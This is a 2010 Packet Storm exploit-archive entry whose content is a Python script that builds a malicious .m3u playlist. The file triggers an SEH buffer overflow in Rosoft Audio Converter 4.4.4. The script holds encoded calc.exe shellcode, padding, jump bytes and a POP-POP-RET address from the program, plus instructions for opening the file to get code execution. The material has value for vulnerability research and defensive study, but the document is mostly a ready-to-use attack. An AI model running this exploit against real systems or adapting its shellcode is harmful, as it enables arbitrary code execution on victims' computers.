Rosoft Audio Converter 4.4.4 Buffer Overflow

2010-06-16T00:00:00
ID PACKETSTORM:90675
Type packetstorm
Reporter Blake
Modified 2010-06-16T00:00:00

Description

                                        
                                            `# Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow  
# Date: June 14, 2010  
# Author: Blake  
# Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx  
# Version: 4.4.4  
# Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7)  
# Instructions: create malicious file, open in audio converter, select save  
  
print "\n============================"  
print "Rosoft Audio Converter 4.4.4"  
print " Written by Blake "  
print " Tested on Windows XP SP3 "  
print "============================\n"  
  
# calc.exe  
sc =(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"  
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"  
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"  
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"  
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"  
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"  
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"  
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"  
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"  
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"  
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"  
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"  
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"  
"\x4e\x46\x43\x36\x42\x50\x5a")  
  
buffer = "\x41" * (4083 - len(sc))  
nops = "\x90" * 20  
near_jmp = "\xe8\xf4\xef\xff\xff" # jmp back   
next_seh = "\xeb\xf9\x90\x90"   
seh = "\xe7\xb3\x49\x00" #Found pop eax - pop ebx - ret at 0x0049B3E7 [rosoftaudioconverterfree.exe]  
junk = "\xCC" * 25000  
  
print "[+] Creating malicious .m3u file"  
try:  
file = open("blake.m3u","w")  
file.write(buffer + nops + sc + near_jmp + next_seh + seh + junk)  
file.close()  
print "[+] File created"  
except:  
print "[x] Could not create file"  
  
raw_input("\nPress any key to exit...\n")  
`